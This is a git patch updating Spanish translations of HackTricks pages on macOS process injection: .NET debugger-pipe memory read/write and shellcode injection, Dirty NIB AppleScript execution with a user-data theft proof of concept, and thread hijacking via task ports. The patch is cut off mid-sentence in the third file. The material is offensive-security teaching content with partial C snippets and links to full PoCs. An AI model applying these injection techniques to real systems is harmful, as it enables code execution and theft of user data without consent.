From 80e83b563982dbb8465a6fb08f526ebef9be5483 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 19 Jul 2024 04:39:11 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .../macos-.net-applications-injection.md | 72 ++--- .../macos-proces-abuse/macos-dirty-nib.md | 79 ++++-- .../macos-thread-injection-via-task-port.md | 124 ++++---- .../README.md | 82 +++--- .../macos-java-apps-injection.md | 41 +-- ...yld-hijacking-and-dyld_insert_libraries.md | 60 ++-- .../macos-ruby-applications-injection.md | 46 ++- .../macos-xattr-acls-extra-stuff.md | 139 ++++++--- .../macos-sandbox/README.md | 96 +++---- .../macos-default-sandbox-debug.md | 40 +-- .../macos-office-sandbox-bypasses.md | 84 +++--- .../macos-tcc-bypasses/macos-apple-scripts.md | 50 ++-- .../macos-tcc/macos-tcc-payloads.md | 110 ++++---- misc/references.md | 34 +-- .../android-app-pentesting/adb-commands.md | 102 +++---- .../android-applications-basics.md | 266 +++++++++--------- .../android-app-pentesting/apk-decompilers.md | 60 ++-- .../content-protocol.md | 58 ++-- .../exploiting-a-debuggeable-applciation.md | 100 +++---- .../frida-tutorial/README.md | 116 +++----- .../intent-injection.md | 34 +-- .../make-apk-accept-ca-certificate.md | 43 +-- .../manual-deobfuscation.md | 50 ++-- .../react-native-application.md | 56 ++-- .../android-app-pentesting/smali-changes.md | 90 +++--- .../spoofing-your-location-in-play-store.md | 68 ++--- .../android-app-pentesting/tapjacking.md | 62 ++-- mobile-pentesting/cordova-apps.md | 60 ++-- .../basic-ios-testing-operations.md | 104 +++---- ...-entitlements-from-compiled-application.md | 39 +-- .../ios-pentesting/ios-app-extensions.md | 74 ++--- .../ios-pentesting/ios-basics.md | 118 ++++---- ...m-uri-handlers-deeplinks-custom-schemes.md | 60 ++-- .../ios-hooking-with-objection.md | 92 +++--- .../ios-pentesting/ios-protocol-handlers.md | 19 +- .../ios-serialisation-and-encoding.md | 53 ++-- .../ios-pentesting/ios-uiactivity-sharing.md | 64 +++-- .../ios-pentesting/ios-uipasteboard.md | 68 ++--- .../ios-pentesting/ios-universal-links.md | 71 +++-- .../ios-pentesting/ios-webviews.md | 112 ++++---- mobile-pentesting/xamarin-apps.md | 60 ++-- ...0-network-data-management-protocol-ndmp.md | 40 +-- .../1080-pentesting-socks.md | 52 ++-- .../137-138-139-pentesting-netbios.md | 52 ++-- ...-24008-24009-49152-pentesting-glusterfs.md | 46 ++- .../3128-pentesting-squid.md | 50 ++-- .../3260-pentesting-iscsi.md | 68 ++--- .../3299-pentesting-saprouter.md | 61 ++-- .../3632-pentesting-distcc.md | 44 +-- .../3690-pentesting-subversion-svn-server.md | 40 +-- ...ntesting-erlang-port-mapper-daemon-epmd.md | 48 ++-- .../44134-pentesting-tiller-helm.md | 50 ++-- .../44818-ethernetip.md | 38 +-- .../47808-udp-bacnet.md | 42 +-- .../4840-pentesting-opc-ua.md | 48 ++-- .../49-pentesting-tacacs+.md | 62 ++-- .../5000-pentesting-docker-registry.md | 130 ++++----- ...060-50070-50075-50090-pentesting-hadoop.md | 37 ++- .../512-pentesting-rexec.md | 38 +-- .../515-pentesting-line-printer-daemon-lpd.md | 41 ++- .../5353-udp-multicast-dns-mdns.md | 63 +++-- .../5555-android-debug-bridge.md | 48 ++-- .../5601-pentesting-kibana.md | 48 +--- .../5671-5672-pentesting-amqp.md | 62 ++-- .../584-pentesting-afp.md | 46 +-- .../5984-pentesting-couchdb.md | 134 ++++----- network-services-pentesting/623-udp-ipmi.md | 82 +++--- network-services-pentesting/69-udp-tftp.md | 48 ++-- .../7-tcp-udp-pentesting-echo.md | 50 ++-- .../873-pentesting-rsync.md | 56 ++-- .../9000-pentesting-fastcgi.md | 38 +-- .../9001-pentesting-hsqldb.md | 66 ++--- network-services-pentesting/9100-pjl.md | 42 +-- network-services-pentesting/cassandra.md | 44 +-- .../pentesting-264-check-point-firewall-1.md | 48 ++-- ...ting-631-internet-printing-protocol-ipp.md | 44 +-- .../pentesting-compaq-hp-insight-manager.md | 38 +-- .../pentesting-finger.md | 46 +-- ...entesting-jdwp-java-debug-wire-protocol.md | 77 ++--- .../pentesting-modbus.md | 38 +-- .../pentesting-rlogin.md | 40 +-- network-services-pentesting/pentesting-rsh.md | 42 +-- 82 files changed, 2800 insertions(+), 2543 deletions(-) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 43b3f765c..711f73716 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# Inyección de Aplicaciones .Net en macOS +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Este es un resumen del post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). ¡Consultalo para más detalles!** +**Este es un resumen de la publicación [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). ¡Consúltalo para más detalles!** -## Depuración de .NET Core +## .NET Core Debugging ### **Estableciendo una Sesión de Depuración** -El manejo de la comunicación entre el depurador y el depurado en .NET es gestionado por [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Este componente establece dos named pipes por proceso .NET como se ve en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), que son iniciados a través de [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Estos pipes tienen los sufijos **`-in`** y **`-out`**. +El manejo de la comunicación entre el depurador y el depurado en .NET es gestionado por [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Este componente establece dos tuberías nombradas por proceso .NET como se ve en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), que son iniciadas a través de [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Estas tuberías tienen el sufijo **`-in`** y **`-out`**. -Al visitar el directorio **`$TMPDIR`** del usuario, se pueden encontrar FIFOs de depuración disponibles para depurar aplicaciones .Net. +Al visitar el **`$TMPDIR`** del usuario, se pueden encontrar FIFOs de depuración disponibles para depurar aplicaciones .Net. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) es responsable de gestionar la comunicación desde un depurador. Para iniciar una nueva sesión de depuración, un depurador debe enviar un mensaje a través del pipe `out` comenzando con una estructura `MessageHeader`, detallada en el código fuente de .NET: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) es responsable de gestionar la comunicación desde un depurador. Para iniciar una nueva sesión de depuración, un depurador debe enviar un mensaje a través de la tubería `out` comenzando con una estructura `MessageHeader`, detallada en el código fuente de .NET: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Este encabezado se envía al objetivo utilizando la llamada al sistema `write`, seguido por la estructura `sessionRequestData` que contiene un GUID para la sesión: +Este encabezado se envía al objetivo utilizando la llamada al sistema `write`, seguido de la estructura `sessionRequestData` que contiene un GUID para la sesión: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -Una operación de lectura en la tubería `out` confirma el éxito o fracaso del establecimiento de la sesión de depuración: +Una operación de lectura en el pipe `out` confirma el éxito o fracaso del establecimiento de la sesión de depuración: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -## Leyendo la memoria -Una vez que se establece una sesión de depuración, la memoria se puede leer utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La función readMemory está detallada, realizando los pasos necesarios para enviar una solicitud de lectura y recuperar la respuesta: +## Lectura de Memoria +Una vez que se establece una sesión de depuración, se puede leer la memoria utilizando el [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) tipo de mensaje. La función readMemory se detalla, realizando los pasos necesarios para enviar una solicitud de lectura y recuperar la respuesta: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -El concepto de prueba completo (POC) está disponible [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). +La prueba de concepto completa (POC) está disponible [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## Escribiendo en la memoria +## Escritura de Memoria -De manera similar, la memoria puede ser escrita utilizando la función `writeMemory`. El proceso implica establecer el tipo de mensaje en `MT_WriteMemory`, especificar la dirección y longitud de los datos, y luego enviar los datos: +De manera similar, se puede escribir en la memoria utilizando la función `writeMemory`. El proceso implica establecer el tipo de mensaje en `MT_WriteMemory`, especificar la dirección y la longitud de los datos, y luego enviar los datos: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -95,35 +96,36 @@ return true; ``` El POC asociado está disponible [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -## Ejecución de código en .NET Core +## Ejecución de Código .NET Core -Para ejecutar código, es necesario identificar una región de memoria con permisos rwx, lo cual se puede hacer utilizando vmmap -pages: +Para ejecutar código, es necesario identificar una región de memoria con permisos rwx, lo que se puede hacer utilizando vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Encontrar un lugar para sobrescribir un puntero de función es necesario, y en .NET Core, esto se puede hacer apuntando a la **Tabla de Funciones Dinámicas (DFT)**. Esta tabla, detallada en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), es utilizada por el tiempo de ejecución para funciones auxiliares de compilación JIT. +Localizar un lugar para sobrescribir un puntero de función es necesario, y en .NET Core, esto se puede hacer apuntando a la **Dynamic Function Table (DFT)**. Esta tabla, detallada en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), es utilizada por el runtime para funciones auxiliares de compilación JIT. -Para sistemas x64, la caza de firmas se puede utilizar para encontrar una referencia al símbolo `_hlpDynamicFuncTable` en `libcorclr.dll`. +Para sistemas x64, se puede utilizar la búsqueda de firmas para encontrar una referencia al símbolo `_hlpDynamicFuncTable` en `libcorclr.dll`. -La función de depuración `MT_GetDCB` proporciona información útil, incluida la dirección de una función auxiliar, `m_helperRemoteStartAddr`, que indica la ubicación de `libcorclr.dll` en la memoria del proceso. Esta dirección se utiliza luego para iniciar la búsqueda de la DFT y sobrescribir un puntero de función con la dirección del shellcode. +La función de depuración `MT_GetDCB` proporciona información útil, incluyendo la dirección de una función auxiliar, `m_helperRemoteStartAddr`, que indica la ubicación de `libcorclr.dll` en la memoria del proceso. Esta dirección se utiliza luego para iniciar una búsqueda de la DFT y sobrescribir un puntero de función con la dirección del shellcode. -El código POC completo para la inyección en PowerShell es accesible [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). +El código completo de POC para inyección en PowerShell está accesible [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). ## Referencias * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index c9583503a..f7f1d2a69 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,36 +1,37 @@ # macOS Dirty NIB +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Para más detalles sobre la técnica, consulta la publicación original en: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Aquí tienes un resumen: +**Para más detalles sobre la técnica, consulta la publicación original en: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Aquí hay un resumen: -Los archivos NIB, parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de interfaz de usuario** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por los Storyboards para una visualización más completa del flujo de la interfaz de usuario. +Los archivos NIB, parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de UI** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por Storyboards para una visualización más completa del flujo de UI. -### Preocupaciones de seguridad con los archivos NIB -Es crítico tener en cuenta que los **archivos NIB pueden ser un riesgo de seguridad**. Tienen el potencial de **ejecutar comandos arbitrarios**, y las alteraciones a los archivos NIB dentro de una aplicación no impiden que Gatekeeper ejecute la aplicación, lo que representa una amenaza significativa. +### Preocupaciones de Seguridad con Archivos NIB +Es crítico notar que **los archivos NIB pueden ser un riesgo de seguridad**. Tienen el potencial de **ejecutar comandos arbitrarios**, y las alteraciones a los archivos NIB dentro de una aplicación no impiden que Gatekeeper ejecute la aplicación, lo que representa una amenaza significativa. ### Proceso de Inyección de Dirty NIB #### Creación y Configuración de un Archivo NIB -1. **Configuración inicial**: +1. **Configuración Inicial**: - Crea un nuevo archivo NIB usando XCode. -- Agrega un objeto a la interfaz, configurando su clase como `NSAppleScript`. -- Configura la propiedad inicial `source` a través de Atributos de Tiempo de Ejecución Definidos por el Usuario. +- Agrega un objeto a la interfaz, configurando su clase a `NSAppleScript`. +- Configura la propiedad `source` inicial a través de Atributos de Tiempo de Ejecución Definidos por el Usuario. 2. **Gadget de Ejecución de Código**: -- La configuración facilita la ejecución de AppleScript a pedido. -- Integra un botón para activar el objeto `Apple Script`, activando específicamente el selector `executeAndReturnError:`. +- La configuración facilita la ejecución de AppleScript bajo demanda. +- Integra un botón para activar el objeto `Apple Script`, específicamente disparando el selector `executeAndReturnError:`. 3. **Pruebas**: - Un simple Apple Script para propósitos de prueba: @@ -38,34 +39,50 @@ Es crítico tener en cuenta que los **archivos NIB pueden ser un riesgo de segur set theDialogText to "PWND" display dialog theDialogText ``` -- Prueba ejecutándolo en el depurador de XCode y haciendo clic en el botón. +- Prueba ejecutando en el depurador de XCode y haciendo clic en el botón. #### Apuntando a una Aplicación (Ejemplo: Pages) 1. **Preparación**: - Copia la aplicación objetivo (por ejemplo, Pages) en un directorio separado (por ejemplo, `/tmp/`). -- Inicia la aplicación para evitar problemas con Gatekeeper y cachéala. +- Inicia la aplicación para evitar problemas con Gatekeeper y almacenarla en caché. 2. **Sobrescribiendo el Archivo NIB**: -- Reemplaza un archivo NIB existente (por ejemplo, Panel Acerca de NIB) con el archivo DirtyNIB creado. +- Reemplaza un archivo NIB existente (por ejemplo, el NIB del Panel Acerca de) con el archivo DirtyNIB creado. 3. **Ejecución**: -- Desencadena la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento de menú `Acerca de`). +- Dispara la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento del menú `Acerca de`). -#### Prueba de Concepto: Accediendo a Datos de Usuario -- Modifica el AppleScript para acceder y extraer datos de usuario, como fotos, sin el consentimiento del usuario. +#### Prueba de Concepto: Acceso a Datos del Usuario +- Modifica el AppleScript para acceder y extraer datos del usuario, como fotos, sin el consentimiento del usuario. ### Ejemplo de Código: Archivo .xib Malicioso - Accede y revisa un [**ejemplo de un archivo .xib malicioso**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) que demuestra la ejecución de código arbitrario. -### Abordando Restricciones de Inicio -- Las Restricciones de Inicio impiden la ejecución de aplicaciones desde ubicaciones inesperadas (por ejemplo, `/tmp`). -- Es posible identificar aplicaciones no protegidas por Restricciones de Inicio y apuntarlas para la inyección de archivos NIB. +### Abordando las Restricciones de Lanzamiento +- Las restricciones de lanzamiento dificultan la ejecución de aplicaciones desde ubicaciones inesperadas (por ejemplo, `/tmp`). +- Es posible identificar aplicaciones que no están protegidas por restricciones de lanzamiento y apuntar a ellas para la inyección de archivos NIB. ### Protecciones Adicionales de macOS -Desde macOS Sonoma en adelante, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban: -1. Copiar la aplicación a una ubicación diferente (por ejemplo, `/tmp`). -2. Renombrar directorios dentro del paquete de la aplicación para evitar las protecciones iniciales. +Desde macOS Sonoma, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban: +1. Copiar la aplicación a una ubicación diferente (por ejemplo, `/tmp/`). +2. Renombrar directorios dentro del paquete de la aplicación para eludir las protecciones iniciales. 3. Después de ejecutar la aplicación para registrarse con Gatekeeper, modificar el paquete de la aplicación (por ejemplo, reemplazando MainMenu.nib con Dirty.nib). -4. Renombrar los directorios nuevamente y volver a ejecutar la aplicación para ejecutar el archivo NIB inyectado. +4. Renombrar los directorios de nuevo y volver a ejecutar la aplicación para ejecutar el archivo NIB inyectado. -**Nota**: Las actualizaciones recientes de macOS han mitigado este exploit al evitar modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, volviendo el exploit ineficaz. +**Nota**: Las actualizaciones recientes de macOS han mitigado este exploit al prevenir modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, lo que hace que el exploit sea ineficaz. + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 86f385581..5f2bfcff7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,18 +1,19 @@ -# Inyección de hilos en macOS a través del puerto de tarea +# Inyección de Hilo en macOS a través del puerto de tarea + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} ## Código @@ -20,49 +21,49 @@ Otras formas de apoyar a HackTricks: * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. Secuestro de hilos +## 1. Secuestro de Hilos -Inicialmente, se invoca la función **`task_threads()`** en el puerto de tarea para obtener una lista de hilos de la tarea remota. Se selecciona un hilo para el secuestro. Este enfoque difiere de los métodos convencionales de inyección de código, ya que la creación de un nuevo hilo remoto está prohibida debido a la nueva mitigación que bloquea `thread_create_running()`. +Inicialmente, se invoca la función **`task_threads()`** en el puerto de tarea para obtener una lista de hilos de la tarea remota. Se selecciona un hilo para el secuestro. Este enfoque se desvía de los métodos convencionales de inyección de código, ya que crear un nuevo hilo remoto está prohibido debido a la nueva mitigación que bloquea `thread_create_running()`. Para controlar el hilo, se llama a **`thread_suspend()`**, deteniendo su ejecución. -Las únicas operaciones permitidas en el hilo remoto implican **detenerlo** y **iniciarlo**, **recuperar** y **modificar** sus valores de registro. Las llamadas a funciones remotas se inician configurando los registros `x0` a `x7` con los **argumentos**, configurando **`pc`** para apuntar a la función deseada y activando el hilo. Asegurar que el hilo no se bloquee después del retorno requiere la detección del retorno. +Las únicas operaciones permitidas en el hilo remoto implican **detener** y **comenzar** su ejecución, **recuperar** y **modificar** sus valores de registro. Las llamadas a funciones remotas se inician configurando los registros `x0` a `x7` con los **argumentos**, configurando **`pc`** para apuntar a la función deseada y activando el hilo. Asegurarse de que el hilo no se bloquee después de la devolución requiere detectar la devolución. -Una estrategia implica **registrar un manejador de excepciones** para el hilo remoto usando `thread_set_exception_ports()`, estableciendo el registro `lr` en una dirección no válida antes de la llamada a la función. Esto desencadena una excepción después de la ejecución de la función, enviando un mensaje al puerto de excepción, lo que permite la inspección del estado del hilo para recuperar el valor de retorno. Alternativamente, como se adoptó del exploit triple\_fetch de Ian Beer, `lr` se establece en un bucle infinito. Luego, los registros del hilo se monitorean continuamente hasta que **`pc` apunte a esa instrucción**. +Una estrategia implica **registrar un manejador de excepciones** para el hilo remoto utilizando `thread_set_exception_ports()`, configurando el registro `lr` a una dirección inválida antes de la llamada a la función. Esto desencadena una excepción después de la ejecución de la función, enviando un mensaje al puerto de excepciones, permitiendo la inspección del estado del hilo para recuperar el valor de retorno. Alternativamente, como se adoptó del exploit 